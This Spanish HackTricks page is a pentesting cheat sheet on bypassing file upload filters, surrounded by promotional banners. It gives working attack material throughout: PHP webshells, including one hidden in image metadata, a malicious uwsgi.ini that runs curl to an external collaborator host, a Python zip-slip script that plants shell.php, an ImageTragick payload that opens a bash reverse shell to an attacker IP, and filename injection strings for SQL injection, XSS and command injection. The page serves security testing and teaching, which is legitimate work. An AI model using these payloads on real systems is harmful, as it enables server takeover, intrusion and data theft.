.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
Carga de Archivos
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
Consejo para cazar recompensas de bugs: regístrate en Intigriti, una plataforma premium de caza de recompensas creada por hackers, para hackers. Únete a nosotros en https://go.intigriti.com/hacktricks hoy y comienza a ganar recompensas de hasta $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Metodología General de Carga de Archivos
Otras extensiones útiles:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Trabajando en PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Servidor Web Erlang Yaws: .yaws
Evitar controles de extensiones de archivos
- Si aplican, verifica las extensiones anteriores. También pruébalas usando algunas letras mayúsculas: pHp, .pHP5, .PhAr ...
- Verifica añadiendo una extensión válida antes de la extensión de ejecución (usa también las extensiones anteriores):
- file.png.php
- file.png.Php5
- Intenta agregar caracteres especiales al final. Podrías usar Burp para fuerza bruta de todos los caracteres ascii y Unicode. (Nota que también puedes intentar usar las extensiones mencionadas anteriormente)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Intenta evadir las protecciones engañando al analizador de extensiones del lado del servidor con técnicas como duplicar la extensión o añadir basura (bytes nulos) entre extensiones. También puedes usar las extensiones anteriores para preparar un payload mejor.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Añade otra capa de extensiones a la verificación anterior:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Intenta poner la extensión de ejecución antes de la extensión válida y reza para que el servidor esté mal configurado. (útil para explotar malas configuraciones de Apache donde cualquier cosa con extensión** .php, pero no necesariamente terminando en .php** ejecutará código):
- ej: file.php.png
- Usando corrientes de datos alternas de NTFS (ADS) en Windows. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un archivo vacío con la extensión prohibida en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre corto. El patrón “::$data” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un carácter de punto después de este patrón también podría ser útil para evadir restricciones adicionales (.e.g. “file.asp::$data.”)
- Intenta romper los límites del nombre del archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<--SNIP-->AAA.php
# Linux máximo 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y añadiendo .png
# Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Haz el payload
AAA<--SNIP 232 A-->AAA.php.png
Evitar controles de Content-Type, Número Mágico, Compresión y Redimensionamiento
- Evita controles de Content-Type estableciendo el valor del encabezado Content-Type a: image/png , text/plain , application/octet-stream
- Lista de palabras de Content-Type: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
- Evita controles de número mágico añadiendo al principio del archivo los bytes de una imagen real (confunde el comando file). O introduce la shell dentro de los metadatos:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
o también podrías introducir el payload directamente en una imagen:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- Si se está añadiendo compresión a tu imagen, por ejemplo usando algunas bibliotecas estándar de PHP como PHP-GD, las técnicas anteriores no serán útiles. Sin embargo, podrías usar la técnica del chunk PLTE definida aquí para insertar texto que sobreviva la compresión.
- Github con el código
- La página web también podría estar redimensionando la imagen, usando por ejemplo las funciones de PHP-GD
imagecopyresized
oimagecopyresampled
. Sin embargo, podrías usar la técnica del chunk IDAT definida aquí para insertar texto que sobreviva la compresión. - Github con el código
- Otra técnica para hacer un payload que sobreviva un redimensionamiento de imagen, usando la función de PHP-GD
thumbnailImage
. Sin embargo, podrías usar la técnica del chunk tEXt definida aquí para insertar texto que sobreviva la compresión. - Github con el código
Otros Trucos para Verificar
- Encuentra una vulnerabilidad para renombrar el archivo ya subido (para cambiar la extensión).
- Encuentra una vulnerabilidad de Inclusión Local de Archivos para ejecutar el backdoor.
- Posible divulgación de información:
- Sube varias veces (y al mismo tiempo) el mismo archivo con el mismo nombre
- Sube un archivo con el nombre de un archivo o carpeta que ya existe
- Subir un archivo con “.”, “..”, o “…” como su nombre. Por ejemplo, en Apache en Windows, si la aplicación guarda los archivos subidos en el directorio “/www/uploads/”, el nombre de archivo “.” creará un archivo llamado “uploads” en el directorio “/www/”.
- Sube un archivo que no pueda ser eliminado fácilmente como “…:.jpg” en NTFS. (Windows)
- Sube un archivo en Windows con caracteres inválidos como
|<>*?”
en su nombre. (Windows) - Sube un archivo en Windows usando nombres reservados (prohibidos) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
- Intenta también subir un ejecutable (.exe) o un .html (menos sospechoso) que ejecutará código cuando sea abierto accidentalmente por la víctima.
Trucos de extensiones especiales
Si estás intentando subir archivos a un servidor PHP, echa un vistazo al truco de .htaccess para ejecutar código.
Si estás intentando subir archivos a un servidor ASP, echa un vistazo al truco de .config para ejecutar código.
Los archivos .phar
son como los .jar
para java, pero para php, y pueden ser usados como un archivo php (ejecutándolo con php, o incluyéndolo dentro de un script...)
La extensión .inc
a veces se usa para archivos php que solo se utilizan para importar archivos, por lo que, en algún momento, alguien podría haber permitido que esta extensión se ejecutara.
Jetty RCE
Si puedes subir un archivo XML a un servidor Jetty puedes obtener RCE porque nuevos *.xml y *.war se procesan automáticamente. Por lo tanto, como se menciona en la siguiente imagen, sube el archivo XML a $JETTY_BASE/webapps/
y espera la shell!
uWSGI RCE
Si puedes reemplazar el archivo de configuración .ini
de un servidor uWSGI puedes obtener RCE. De hecho, los archivos de configuración de uWSGI pueden incluir “variables mágicas”, marcadores de posición y operadores definidos con una sintaxis precisa. El operador ‘@’ en particular se usa en la forma de @(nombre de archivo) para incluir el contenido de un archivo. Muchos esquemas de uWSGI son compatibles, incluyendo “exec” - útil para leer la salida estándar de un proceso. Estos operadores pueden ser armados para Ejecución de Comandos Remotos o Escritura/Lectura de Archivos Arbitrarios cuando se analiza un archivo de configuración .ini:
Ejemplo de archivo malicioso uwsgi.ini
:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Cuando el archivo de configuración sea analizado, el payload será ejecutado. Ten en cuenta que para que la configuración sea analizada, el proceso necesita ser reiniciado (¿caída? ¿DoS?) o el archivo recargado automáticamente (una opción que podría estar en uso indica los segundos para recargar el archivo si se encuentra un cambio).
Nota Importante: El análisis del archivo de configuración por uWSGI es laxo. El payload anterior puede estar incrustado dentro de un archivo binario (por ejemplo, imagen, pdf, ...).
Truco de Subida de Archivos/SSRF con wget
En algunas ocasiones puedes encontrar que un servidor está utilizando wget
para descargar archivos y puedes indicar la URL. En estos casos, el código puede estar comprobando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se descarguen archivos permitidos. Sin embargo, esta comprobación puede ser evitada.
La longitud máxima de un nombre de archivo en linux es de 255, sin embargo, wget trunca los nombres de archivo a 236 caracteres. Puedes descargar un archivo llamado "A"*232+".php"+".gif", este nombre de archivo evitará la comprobación (como en este ejemplo ".gif" es una extensión válida) pero wget
renombrará el archivo a "A"*232+".php".
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Tenga en cuenta que otra opción que podría estar pensando para eludir esta verificación es hacer que el servidor HTTP redirija a un archivo diferente, de modo que la URL inicial eludirá la verificación, pero luego wget descargará el archivo redirigido con el nuevo nombre. Esto no funcionará a menos que wget se esté utilizando con el parámetro --trust-server-names
, porque wget descargará la página redirigida con el nombre del archivo indicado en la URL original.
Otros recursos
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
Herramientas
- Upload Bypass es una herramienta poderosa diseñada para asistir a Pentesters y cazadores de recompensas en pruebas de mecanismos de carga de archivos. Aprovecha varias técnicas de recompensas por errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
De la carga de archivos a otras vulnerabilidades
- Establezca filename a
../../../tmp/lol.png
e intente lograr un path traversal - Establezca filename a
sleep(10)-- -.jpg
y podría lograr una SQL injection - Establezca filename a
<svg onload=alert(document.domain)>
para lograr un XSS - Establezca filename a
; sleep 10;
para probar alguna inyección de comandos (más trucos de inyección de comandos aquí) - XSS en carga de archivos de imagen (svg)
- Carga de archivo JS + XSS = Explotación de Service Workers
- XXE en carga de svg
- Open Redirect mediante la carga de archivos svg
- Pruebe diferentes payloads de svg de https://github.com/allanlw/svg-cheatsheet****
- Vulnerabilidad ImageTrick famosa
- Si puede indicar al servidor web que capture una imagen de una URL, podría intentar abusar de un SSRF. Si esta imagen va a ser guardada en algún sitio público, también podría indicar una URL de https://iplogger.org/invisible/ y robar información de cada visitante.
- XXE y CORS bypass con carga de PDF-Adobe
- PDFs especialmente diseñados para XSS: La siguiente página presenta cómo inyectar datos en PDF para obtener ejecución de JS. Si puede cargar PDFs, podría preparar algunos PDF que ejecutarán JS arbitrario siguiendo las indicaciones dadas.
- Cargue el contenido de [eicar](https://secure.eicar.org/eicar.com.txt) para verificar si el servidor tiene algún antivirus
- Verifique si hay algún límite de tamaño al cargar archivos
Aquí hay una lista de las 10 principales cosas que puede lograr mediante la carga (de enlace):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: XSS almacenado / SSRF / XXE
- GIF: XSS almacenado / SSRF
- CSV: Inyección de CSV
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS: Inyección de HTML / XSS / Redirección abierta
- PNG / JPEG: Ataque de inundación de píxeles (DoS)
- ZIP: RCE vía LFI / DoS
- PDF / PPTX: SSRF / XXE ciego
Extensión de Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
Bytes de Encabezado Mágico
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
Consulte https://en.wikipedia.org/wiki/List_of_file_signatures para otros tipos de archivos.
Carga de Archivos Zip/Tar Descomprimidos Automáticamente
Si puede cargar un ZIP que va a ser descomprimido dentro del servidor, puede hacer 2 cosas:
Symlink
Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Descompresión en diferentes carpetas
Los archivos descomprimidos se crearán en carpetas inesperadas.
Uno podría asumir fácilmente que esta configuración protege contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, pero lamentablemente esto no es cierto. Dado que el formato de archivo ZIP admite compresión jerárquica y también podemos hacer referencia a directorios de nivel superior, podemos escapar del directorio seguro de carga abusando de la función de descompresión de la aplicación objetivo.
Un exploit automatizado para crear este tipo de archivos se puede encontrar aquí: https://github.com/ptoomey3/evilarc
python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
También puedes usar el truco de symlink con evilarc, si la bandera está en /flag.txt
asegúrate de crear un symlink a ese archivo y crear ese archivo en tu sistema para que cuando llames a evilarc no dé error.
Algunas líneas de código en python para crear un zip malicioso:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Para lograr la ejecución remota de comandos, seguí los siguientes pasos:
- Crear un shell PHP:
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- Utilice "file spraying" y cree un archivo zip comprimido:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
3.Usa un editor hexadecimal o vi y cambia "xxA" por "../", yo usé vi:
:set modifiable
:%s/xxA/..\//g
:x!
¡Listo!
Solo quedaba un paso: ¡Subir el archivo ZIP y dejar que la aplicación lo descomprima! Si tiene éxito y el servidor web tiene suficientes privilegios para escribir en los directorios, habrá una simple shell de ejecución de comandos del sistema operativo en el sistema:
Referencia: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
ImageTragic
Sube este contenido con una extensión de imagen para explotar la vulnerabilidad (ImageMagick, 7.0.1-1)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Incrustación de PHP Shell en PNG
La razón principal para poner un web shell en el chunk IDAT es que tiene la capacidad de evitar operaciones de cambio de tamaño y re-muestreo - PHP-GD contiene dos funciones para hacer esto imagecopyresized y imagecopyresampled.
Lee este post: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Archivos Políglotas
Los políglotas, en un contexto de seguridad, son archivos que son una forma válida de múltiples tipos de archivos diferentes. Por ejemplo, un GIFAR es tanto un archivo GIF como RAR. También hay archivos que pueden ser tanto GIF y JS, tanto PPT y JS, etc.
Los archivos políglotas se utilizan a menudo para eludir la protección basada en tipos de archivos. Muchas aplicaciones que permiten a los usuarios subir archivos solo permiten subidas de ciertos tipos, como JPEG, GIF, DOC, para evitar que los usuarios suban archivos potencialmente peligrosos como archivos JS, archivos PHP o archivos Phar.
Esto ayuda a subir un archivo que cumple con el formato de varios formatos diferentes. Puede permitirte subir un archivo PHAR (PHp ARchive) que también parece un JPEG, pero probablemente todavía necesitarás una extensión válida y si la función de subida no lo permite, esto no te ayudará.
Más información en: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Consejo para cazar recompensas: regístrate en Intigriti, una plataforma premium de caza de recompensas creada por hackers, para hackers. Únete a nosotros en https://go.intigriti.com/hacktricks hoy, y comienza a ganar recompensas de hasta $100,000.
{% embed url="https://go.intigriti.com/hacktricks" %}
Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF revisa los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.